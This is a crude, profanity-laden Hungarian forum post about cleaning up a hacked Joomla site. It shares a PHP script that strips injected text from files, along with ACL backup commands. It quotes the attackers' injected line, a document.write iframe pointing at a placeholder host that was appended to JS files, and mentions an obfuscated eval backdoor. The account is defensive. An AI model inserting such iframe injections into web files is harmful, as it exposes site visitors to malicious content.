TCH (statz) | #1, Főfasz (10466) |
5005 | #21de | ^ | Idézet | Wed, 21 Nov 2012 22:42:28 +01 |
80.99.*.* | *.catv.broadband.hu |
Még jelen pillanatban is szopunk a júmla hekkel, külön vicc, hogy úgy néz ki, hogy máshova is bejutottak, mert egy symfonis repot is megbasztak. Nagy az öröm. Persze a high command szarik a biztonságra, meg arra, hogy mi is történik, csak takarítsuk el a végeredményt. Az egyik weboldalon véletlenül kiszúrtunk pár oda nagyon nem való iframe-t, ami a jóég tudja mit közvetített a célweboldalak felé. Találtunk egy feltöltött hátsóajtót, benne egy agyonkódolt evallal, amit visszafejtettünk és meg is volt a hekkerek toolja. A góré szerint azonban ezt nem ember csinálta, hanem egyenesen automatizálva van a dolog; scriptek keresgetik a júmlaportálokat és nyomják fel őket világszerte. Automatizáltan. SB. Nem SoundBlaster, hanem SírokBazmeg. Csak azt nem értem, hogy ha ezt ennyire vágja, AKKOR MI A KURWA PICSÁÉRT VANNAK MÉG JÚMLAPORTÁLOK A SZERVEREN?!!! Az Isten verje meg ezt a sok netről letölthető hulladékot bazdmeg! Egyébként amit elértek, minden JS fájlt kinyitottak és a végére behányták, hogy document.write('<iframe src="mittudomen.com/faszom"></iframe>'); Mindenesetre az explicit utasítás az volt, hogy leszarni a backdoort és minden egyebet, takarítsuk el az ájfrémeket, bazdmeg... Nos, erre összedobtunk Mcloaddal egy CLI-s PHP szkriptet, ami végigmegy egy adott mappán és egy open/end string párosra vadászik és ha talál kitakarítja, meg azt is ami közte van. A filepattern csak egy sima strpos, vagyis csak azt nézi, hogy amit keres az ember, benne van-e. Lehet ötletet adni valami jobbra. (Gondolom valami regexpes nyavalyával kéne.) Ha minden fájlt akar az ember, akkor azt a paramétert üresen kell hagyni. Hátha jó lesz valakinek valami hasonló célra... <?PHP function purge_file($file, $what_open, $what_close, $only_list = true, $list_flags = 1) { $count = 0; $text = file_get_contents($file); $pos = 0; $clen = strlen($what_close); $len = strlen($text); while (($opos = strpos($text, $what_open, $pos)) !== false) { if (($cpos = strpos($text, $what_close, $opos)) !== false) { $count++; $cpos += $clen; $pos = $cpos; if ($only_list) { if (($list_flags & 1) != 0) { echo getcwd().'/'.$file."\n\n"; } if (($list_flags & 2) != 0) { echo substr($text, $opos, $cpos - $opos)."\n\n"; } if (($list_flags & 4) != 0) { return $count; } } else { $text = substr($text, 0, $opos).substr($text, $cpos, $len - $cpos); } } else { $pos = $opos + 1; } } file_put_contents($file, $text); return $count; } function purge_dir($dir, $what_open, $what_close, $file_pattern = false, $only_list = true, $list_flags = 1) { $count = 0; chdir($dir); $files = scandir('.'); foreach ($files as $file) { if($file != '.' && $file != '..' && !is_link($file)) { if(is_dir($file)) { $count += purge_dir($file, $what_open, $what_close, $file_pattern, $only_list, $list_flags); } else { if (strpos($file, $file_pattern) || $file_pattern === false) { $count += purge_file($file, $what_open, $what_close, $only_list, $list_flags); } } } } chdir('..'); return $count; } ini_set('max_execution_time', 0); ini_set('error_reporting', E_ALL); ini_set('display_errors', 1); if (!isset($_SERVER['argv'][1])) { die('Directory must be specified in the first argument.'); } if (!isset($_SERVER['argv'][2]) || !isset($_SERVER['argv'][3])) { die('Beginning and end of the pattern must be specified in the second and third argument.'); } $count = purge_dir( $_SERVER['argv'][1], $_SERVER['argv'][2], $_SERVER['argv'][3], empty($_SERVER['argv'][4]) ? false : $_SERVER['argv'][4], empty($_SERVER['argv'][5]) || strtoupper($_SERVER['argv'][5][0]) == 'T' || $_SERVER['argv'][5][0] == '1' ? true : false, empty($_SERVER['argv'][6]) ? 1 : $_SERVER['argv'][6] ); echo '# of Infected files: '.$count; ?>Ja, ezt el ne felejtsük. Mivel ugye jogot nem kaptunk a géphez, hogy ftp-n keresztül basztathassuk a könyvtárakat (érted, ott egy ház, van benne egy törött lófasz, javítsd meg, de kulcsot nem adok), azért kellett ez a cucc is, továbbá a permissionokat nekünk kellett áthákolni majd visszaállítani, mintha mi se történt volna. Azt meg így lehet. (Legalább tanultunk valamit.) getfacl -R /var/www/myweb > permissions.acl setfacl --restore=permissions.acl A leading / mindig eltávolítódik és a restore-t mindig onnan kell futtatni, ahonnan a relatív elérés szólt. Ha /-t írtunk az elejére, akkor értelemszerűen akkor is a /-ből kell futtatni a restore-t, ha egyébként a /kecske/anyad volt a cwd. (Innen a tipp egyébként: http://linuxconfig.org/backup-permissions-in-linux) |